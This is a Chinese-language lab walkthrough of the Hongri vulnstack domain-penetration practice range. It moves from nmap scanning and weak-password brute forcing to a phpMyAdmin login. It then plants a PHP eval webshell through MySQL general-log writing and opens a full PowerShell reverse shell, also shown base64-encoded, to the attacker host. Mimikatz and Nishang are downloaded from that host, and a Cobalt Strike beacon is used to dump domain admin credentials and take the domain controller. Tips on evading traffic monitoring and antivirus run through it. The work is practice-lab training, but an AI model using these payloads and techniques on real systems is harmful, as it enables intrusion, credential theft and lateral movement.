红日靶机(一)笔记
概述
域渗透靶机,可以练习对域渗透的一些知识,主要还是要熟悉 powershell 语法,powershell 往往比 cmd 的命令行更加强大,而很多渗透开源的脚本都是 powershell 的。例如 NiShang
,PowerView
等等。这是域渗透的初学靶机。其中也遇到了一些问题
靶机地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
红日靶机的默认密码:hongrisec@2019
我这里
- web:192.168.81.239
- win7: 192.168.52.141
- 域控: 192.168.52.138
我看的 kali 攻击机 192.168.81.37
一、nmap 扫描
1)主机发现
sudo nmap -sn 192.168.81.0/24
Nmap scan report for 192.168.81.239 Host is up (0.00047s latency). MAC Address: 00:0C:29:EC:F8:D6 (VMware)
看到我的靶机 ip 是 192.168.81.239
2)端口扫描
sudo nmap -sT --min-rate 10000 -p- 192.168.81.239
# Nmap 7.93 scan initiated Wed Sep 4 05:56:09 2024 as: nmap -sT --min-rate 10000 -p- -o ports 192.168.81.239 Warning: 192.168.81.239 giving up on port because retransmission cap hit (10). Nmap scan report for 192.168.81.239 Host is up (0.00079s latency). Not shown: 61205 closed tcp ports (conn-refused), 4319 filtered tcp ports (no-response) PORT STATE SERVICE 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 1025/tcp open NFS-or-IIS 1026/tcp open LSA-or-nterm 1027/tcp open IIS 1028/tcp open unknown 1029/tcp open ms-lsa 1230/tcp open periscope 3306/tcp open mysql MAC Address: 00:0C:29:EC:F8:D6 (VMware) # Nmap done at Wed Sep 4 05:56:21 2024 -- 1 IP address (1 host up) scanned in 12.44 seconds
对端口进行处理
cat ports | grep open | awk -F '/' '{print $1}' | paste -sd ','
赋值给变量
ports=$(cat ports | grep open | awk -F '/' '{print $1}' | paste -sd ',')
3)详细信息扫描
这里在 $ports
处可以使用 tab
键显示变量的值
sudo nmap -sT -sV -sC -O -p$ports 192.168.81.239 -o details
# Nmap 7.93 scan initiated Wed Sep 4 06:01:26 2024 as: nmap -sT -sC -sV -O -p80,135,139,445,1025,1026,1027,1028,1029,1230,3306 -o details 192.168.81.239 Nmap scan report for 192.168.81.239 Host is up (0.00097s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45) |_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45 |_http-title: phpStudy xE6x8ExA2xE9x92x88 2014 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: GOD) 1025/tcp open msrpc Microsoft Windows RPC 1026/tcp open msrpc Microsoft Windows RPC 1027/tcp open msrpc Microsoft Windows RPC 1028/tcp open msrpc Microsoft Windows RPC 1029/tcp open msrpc Microsoft Windows RPC 1230/tcp open msrpc Microsoft Windows RPC 3306/tcp open mysql MySQL (unauthorized) MAC Address: 00:0C:29:EC:F8:D6 (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Microsoft Windows 7|2008|8.1 OS CPE: cpe:/o:microsoft:windows_7::- cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_server_2008::sp1 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_8.1 OS details: Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1 Network Distance: 1 hop Service Info: Host: STU1; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_nbstat: NetBIOS name: STU1, NetBIOS user: <unknown>, NetBIOS MAC: 000c29ecf8d6 (VMware) |_clock-skew: mean: -2h39m59s, deviation: 4h37m07s, median: 0s | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 210: |_ Message signing enabled but not required | smb2-time: | date: 2024-09-04T10:02:28 |_ start_date: 2024-09-04T09:46:14 | smb-os-discovery: | OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) | OS CPE: cpe:/o:microsoft:windows_7::sp1:professional | Computer name: stu1 | NetBIOS computer name: STU1x00 | Domain name: god.org | Forest name: god.org | FQDN: stu1.god.org |_ System time: 2024-09-04T18:02:28+08:00 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Sep 4 06:02:39 2024 -- 1 IP address (1 host up) scanned in 73.24 seconds
二、Web 渗透
打开 WEB 页面
是一个 php 探针,往下翻
看到有个检验 mysql 的按钮
随便输入,开启 burp 抓包
抓到
sudo vi pass_req
把 http 的 raw 格式粘贴进去
POST /l.php HTTP/1.1 Host: 192.168.81.239 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 89 Origin: http://192.168.81.239 Connection: close Referer: http://192.168.81.239/l.php Upgrade-Insecure-Requests: 1 host=localhost&port=3306&login=FUZZ1&password=FUZZ2&act=MySQL%E6%A3%80%E6%B5%8B&funName=
把需要爆破的参数改为 FUZZ 的样式 : login=FUZZ1&password=FUZZ2
1)密码爆破
这里我用的 ffuf 工具,-mode 可以指定爆破模式,-w 也是制定了比较常规的用户名和密码的弱口令字典
当然喜欢用 burp 也没关系,看个人喜好吧
sudo ffuf --request pass_req -u http://192.168.81.239 -w /usr/share/SecLists/Usernames/top-usernames-shortlist.txt:FUZZ1 -w /usr/share/SecLists/Passwords/2023-200_most_used_passwords.txt:FUZZ2 -fs 14807 -mode clusterbomb
结果:
/'___ /'___ /'___ / __/ / __/ __ __ / __/ ,__\ ,__/ / ,__ _/ _/ _ _/ _ _ ____/ _ /_/ /_/ /___/ /_/ v2.0.0-dev ________________________________________________ :: Method : POST :: URL : http://192.168.81.239 :: Wordlist : FUZZ1: /usr/share/SecLists/Usernames/top-usernames-shortlist.txt :: Wordlist : FUZZ2: /usr/share/SecLists/Passwords/2023-200_most_used_passwords.txt :: Header : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 :: Header : Accept-Language: en-US,en;q=0.5 :: Header : Content-Type: application/x-www-form-urlencoded :: Header : Origin: http://192.168.81.239 :: Header : Connection: close :: Header : Referer: http://192.168.81.239/l.php :: Header : Host: 192.168.81.239 :: Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 :: Header : Accept-Encoding: gzip, deflate :: Header : Upgrade-Insecure-Requests: 1 :: Data : host=localhost&port=3306&login=FUZZ1&password=FUZZ2&act=MySQL%E6%A3%80%E6%B5%8B&funName= :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403,405,500 :: Filter : Response size: 14807 ________________________________________________ [Status: 200, Size: 14804, Words: 1464, Lines: 401, Duration: 2136ms] * FUZZ1: root * FUZZ2: root :: Progress: [3400/3400] :: Job [1/1] :: 19 req/sec :: Duration: [0:02:59] :: Errors: 0 ::
存在弱口令 root:root
我们写进凭证里
echo 'root:root' > creds
2)目录爆破
拿到了数据库凭证,而这是一个 phpstudy 的网站,我们进行一下目录爆破,看看有没有什么后台页面之类的
sudo gobuster dir -u http://192.168.81.239 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
这里用的 gobuster 当然很多工具都可以进行目录爆破比如:feroxbuster ffuf dirb dirsearch wfuzz 等都有相应的功能,只是工具会采用不同的算法,在我们一个工具没法走下去的时候,可以尝试另一个工具,很有可能就会有我们想要的结果
=============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.81.239 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /%20 (Status: 403) [Size: 210] /*checkout* (Status: 403) [Size: 219] /phpmyadmin (Status: 301) [Size: 241] [--> http://192.168.81.239/phpmyadmin/] /*docroot* (Status: 403) [Size: 218] /* (Status: 403) [Size: 210] /con (Status: 403) [Size: 212] /http%3A (Status: 403) [Size: 214] /**http%3a (Status: 403) [Size: 216] /*http%3A (Status: 403) [Size: 215] /aux (Status: 403) [Size: 212] /**http%3A (Status: 403) [Size: 216] /%C0 (Status: 403) [Size: 210] /%3FRID%3D2671 (Status: 403) [Size: 218] /devinmoore* (Status: 403) [Size: 220] /200109* (Status: 403) [Size: 216] /*sa_ (Status: 403) [Size: 213] /*dc_ (Status: 403) [Size: 213] /%D8 (Status: 403) [Size: 210] /%CE (Status: 403) [Size: 210] /%CF (Status: 403) [Size: 210] /%CD (Status: 403) [Size: 210] /%CB (Status: 403) [Size: 210] /%CC (Status: 403) [Size: 210] /%D1 (Status: 403) [Size: 210] /%CA (Status: 403) [Size: 210] /%D0 (Status: 403) [Size: 210] /%D3 (Status: 403) [Size: 210] /%D6 (Status: 403) [Size: 210] /%D7 (Status: 403) [Size: 210] /%D5 (Status: 403) [Size: 210] /%D4 (Status: 403) [Size: 210] /%D2 (Status: 403) [Size: 210] /%C9 (Status: 403) [Size: 210] /%C1 (Status: 403) [Size: 210] /%C8 (Status: 403) [Size: 210] /%C2 (Status: 403) [Size: 210] /%C5 (Status: 403) [Size: 210] /%C6 (Status: 403) [Size: 210] /%C7 (Status: 403) [Size: 210] /%C3 (Status: 403) [Size: 210] /%C4 (Status: 403) [Size: 210] /%D9 (Status: 403) [Size: 210] /%DE (Status: 403) [Size: 210] /%DF (Status: 403) [Size: 210] /%DD (Status: 403) [Size: 210] /%DB (Status: 403) [Size: 210] /phpMyAdmin (Status: 301) [Size: 241] [--> http://192.168.81.239/phpMyAdmin/] /login%3f (Status: 403) [Size: 215] /%22james%20kim%22 (Status: 403) [Size: 230] /%22julie%20roehm%22 (Status: 403) [Size: 232] /%22britney%20spears%22 (Status: 403) [Size: 235] Progress: 220560 / 220561 (100.00%) =============================================================== Finished ===============================================================
有 phpMyAdmin
页面,我们访问一下
输入刚爆破出来的凭证 root:root
就登陆到数据库的后台了
三、获得立足点
phpmyadmin 后台 getshell 的方法
- 直接在 web 目录用 select ... into outfile 写入 webshell (需要有写权限)
- 利用日志写入 webshell
第一种我们执行
SHOW VARIABLES LIKE '%secure%'
看到
secure_file_priv
值为 NULL
禁止写入文件,如果这个值为目录名称,则可以在指定目录写入文件。
这个值是只读变量,只能通过配置文件修改。
第一种走不通了
第二种 利用日志文件
SHOW VARIABLES LIKE 'general%'
general_log
: 表示日志功能的开关,我们可以通过 sql 语句设置它
general_log_file
: 它指定了我们日志生成的绝度路径
日志开启将会记录我们所有的 sql 语句操作
set global general_log=on;# 开启日志 set global general_log_file='C:/phpStudy/WWW/lingx5.php';# 设置日志位置为网站目录
绝对路径刚开始的 php 探针已经有了,让我们把全局日志记录打开
执行
select '<?php @eval($_GET["code"]);?>'
访问
反弹 shell
真正的攻防中,也是不建议直接菜刀,蚁剑等工具直接连接,应为他们的流量特征过于明显,稍不注意就会引起流量监测设备的告警。而哥斯拉虽然在流量上做了加密,但是它的木马格式,通信协议和行为特征相对固定,如果要用的话还是建议自己在基础上做二次开发,达到对一些检测设备的绕过。
a) 错误的尝试
在 kali 端,安装 nc.exe
,开启 smbserver 服务,并开启监听
下面命令使用 python 在当前文件夹开启一个名为 share 的 smb 共享目录
python /usr/share/doc/python3-impacket/examples/smbserver.py share .
监听端口
nc -lvp 8888
命令注入,访问链接
http://192.168.81.239/lingx5.php?code=system('\\192.168.81.37\share\nc.exe -e cmd.exe 192.168.81.37 8888 );
这里 smb 显示连接正常。等了半天没弹回来,有点气人,我作弊去它的 window7 里看了看,发现
这台靶机的 win7 不兼容 nc 啊,我试了 64 位和 32 位,都不兼容。不过这也是一个思路,告诉给大家,让大家对 smb 服务有更加深刻的印象
b) 直接命令注入
google 搜索 :php reverse windows powershell
看了篇文章:https://int0x33.medium.com/from-php-s-hell-to-powershell-heaven-da40ce840da8
用 rlwrap 获得一个交互性更强的 shell
sudo rlwrap nc -lvp 8888
powershell 建立连接的命令
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.81.37',8888);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
进行 base64 编码
cG93ZXJzaGVsbCAtbm9wIC1jICIkY2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2tldHMuVENQQ2xpZW50KCcxOTIuMTY4LjgxLjM3Jyw4ODg4KTskc3RyZWFtID0gJGNsaWVudC5HZXRTdHJlYW0oKTtbYnl0ZVtdXSRieXRlcyA9IDAuLjY1NTM1fCV7MH07d2hpbGUoKCRpID0gJHN0cmVhbS5SZWFkKCRieXRlcywgMCwgJGJ5dGVzLkxlbmd0aCkpIC1uZSAwKXs7JGRhdGEgPSAoTmV3LU9iamVjdCAtVHlwZU5hbWUgU3lzdGVtLlRleHQuQVNDSUlFbmNvZGluZykuR2V0U3RyaW5nKCRieXRlcywwLCAkaSk7JHNlbmRiYWNrID0gKGlleCAkZGF0YSAyPiYxIHwgT3V0LVN0cmluZyApOyRzZW5kYmFjazIgPSAkc2VuZGJhY2sgKyAnUFMgJyArIChwd2QpLlBhdGggKyAnPiAnOyRzZW5kYnl0ZSA9IChbdGV4dC5lbmNvZGluZ106OkFTQ0lJKS5HZXRCeXRlcygkc2VuZGJhY2syKTskc3RyZWFtLldyaXRlKCRzZW5kYnl0ZSwwLCRzZW5kYnl0ZS5MZW5ndGgpOyRzdHJlYW0uRmx1c2goKX07JGNsaWVudC5DbG9zZSgpIg==
因为命令里的特殊字符的问题,我尝试着直接输入或者进行 url 编码,都没有反弹不成功,所以就用 base64 编码,再用 php 函数的 base64_decode()方法解码,避免特殊字符带来的干扰
访问链接
http://192.168.81.239/lingx5.php?code=system(base64_decode("cG93ZXJzaGVsbCAtbm9wIC1jICIkY2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2tldHMuVENQQ2xpZW50KCcxOTIuMTY4LjgxLjM3Jyw4ODg4KTskc3RyZWFtID0gJGNsaWVudC5HZXRTdHJlYW0oKTtbYnl0ZVtdXSRieXRlcyA9IDAuLjY1NTM1fCV7MH07d2hpbGUoKCRpID0gJHN0cmVhbS5SZWFkKCRieXRlcywgMCwgJGJ5dGVzLkxlbmd0aCkpIC1uZSAwKXs7JGRhdGEgPSAoTmV3LU9iamVjdCAtVHlwZU5hbWUgU3lzdGVtLlRleHQuQVNDSUlFbmNvZGluZykuR2V0U3RyaW5nKCRieXRlcywwLCAkaSk7JHNlbmRiYWNrID0gKGlleCAkZGF0YSAyPiYxIHwgT3V0LVN0cmluZyApOyRzZW5kYmFjazIgPSAkc2VuZGJhY2sgKyAnUFMgJyArIChwd2QpLlBhdGggKyAnPiAnOyRzZW5kYnl0ZSA9IChbdGV4dC5lbmNvZGluZ106OkFTQ0lJKS5HZXRCeXRlcygkc2VuZGJhY2syKTskc3RyZWFtLldyaXRlKCRzZW5kYnl0ZSwwLCRzZW5kYnl0ZS5MZW5ndGgpOyRzdHJlYW0uRmx1c2goKX07JGNsaWVudC5DbG9zZSgpIg=="));
成功弹回 shell
撞大运了弹回来直接就是 system 权限的用户,省的提权了
获得 shell,先改编码格式
chcp 65001
四、域信息搜集
查看网卡
ipconfig /all
发现一块 192.168.52.0
网段的网卡,应该就是域对应的内网网卡,本机的 hostname 和域的信息也可以看到
系统信息
systeminfo
看到 domian 字段是 god.org
代表这是域内的机器。
普通机器的默认字段是:WORKGROUP
也可以看到机器打过补丁的一些信息,还有网卡信息
路由信息
route pirnt
其他主机信息
net view
查看域管理员
五、域渗透
我们通过信息收集,知道了域控主机是 owa
,域名为 god.org
查看域控主机 ip
ping owa.god.org
看到域控 ip 为 192.168.52.138
使用 mimikatz 进行密码抓取
1)上传 Invoke-mimikatz.ps1
Invoke-mimikatz.ps1 连接:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1
开启 http 服务
php -S 0:80
查看机器的 powershell 版本信息
$PSVersionTable.PSVersion
因为 powershell3.0 前后的命令有些许的差别
目标机器上的 powershell 是 2.0 版本的 而 Invoke-WebRequest
cmdlet 是从 PowerShell 3.0 开始引入的
我们使用.NET 类 System.Net.WebClient
来实现下载功能
powershell -command "& {(New-Object System.Net.WebClient).DownloadFile('http://192.168.81.37/Invoke-Mimikatz.ps1','c:program filesInvoke-Mimikatz.ps1')}"
在 http 服务处看到上传成功
上传到了 c:program files
目录下
cd c:'program files' dir
看到上传成功了
当然在 mimikatz 也是需要做免杀的,不然对它的操作也是会触发杀毒软件的
2)运行 mimikatz
在 powershell 中运行 Invoke-Mimikatz.ps1 首先我们要解除执行策略
Get-ExecutionPolicy
Restricted
:不允许任何脚本运行。
AllSigned
:只运行由受信任的发布者签名的脚本。
RemoteSigned
:本地创建的脚本可以运行,远程下载的脚本必须是签名的。
Unrestricted
:允许所有脚本运行,但运行从互联网下载的脚本时会有警告。
我们设置为 RemoteSigned
即可
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser
当然也可是使用 Bypass
这个参数进行单次命令的绕过
导入
Import-moudle .Invoke-Mimikatz.ps1
加载
.Invoke-Mimikatz.ps1
执行
Invoke-Mimikatz -Command "privilege::debug sekurlsa::logonpasswords"
没有反应了
理论上 应该是可以正常抓取密码的,这台靶机我打着也有很多问题。
尝试解决问题(失败)
觉得会不会是用 php 执行代码返回来的 powershell 不是很稳定导致的
我们用 nishang 的 tcp 的脚本,反弹回来的会不会更加稳定呢?尝试用 nishang
反弹
sudo apt install nishang
输入命令 nishang 就可以看到目录
nishang cd Shells
看到 Invoke-PowerShellTcp.ps1
文件
sudo vi Invoke-PowerShellTcp.ps1
在它的文件底部加上反弹 shell 的语句
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.81.37 -Port 4444
就是等他加载到内存中去执行反弹 shell 的逻辑
kali 监听,同时开启 http 服务
nc -lvp 4444 php -S 0:80
在命令行执行
powershell -command "& {(new-object system.net.webclient).downloadfile('http://192.168.81.37/Invoke-PowerShellTcp.ps1','c:Invoke-PowerShellTcp.ps1')}" ; c:Invoke-PowerShellTcp.ps1
下载成功,收到反弹 shell,但是和之前的 shell 是一样的,还是不能运行 mimikatz.ps1
3)更换思路(使用 cobalstrike)
启动 cs
./teamserver localhost 123456
./cobalstrike
生成木马,并上传
powershell -ExecutionPolicy Bypass -command "& {(New-Object System.Net.WebClient).DownloadFile('http://192.168.81.37/artifact.exe', 'C:UsersPublicartifact.exe')}"
启动 artifact.exe
cmd.exe /c ".artifact.exe"
成功上线
端口扫描
看到
运行 mimikatz
看到域控 owa
的密码 hongrisec@2022
六、获得域控
已经有了域控管理员的密码拿到域控就简单了
在 cs 上创建 SMB 监听
直接 jump
看到域控上线了
域控拿到了,这个域我就随便走了
跳到 141 主机
成功拿下三台
总结
- 通过 nmap 扫描看到目标 web 服务器开放了 80,135,3306 等端口,通过对 80 端口的目录爆破,弱口令的 fuzz,发现了 phpmyadmin 的后台,并成功登陆。
- 利用数据库的日志输出,写入了一句话木马,成功反弹了 powershell 的命令行,因为 powershell2.0 命令行的缺陷,在域渗透信息收集的时候遇到了 mimikatz 不能使用的情况,尝试解决但失败了。
- 最后使用了 cobalstrike 的集成化工具完成了对域控的横向移动,成功获得域控管理员权限。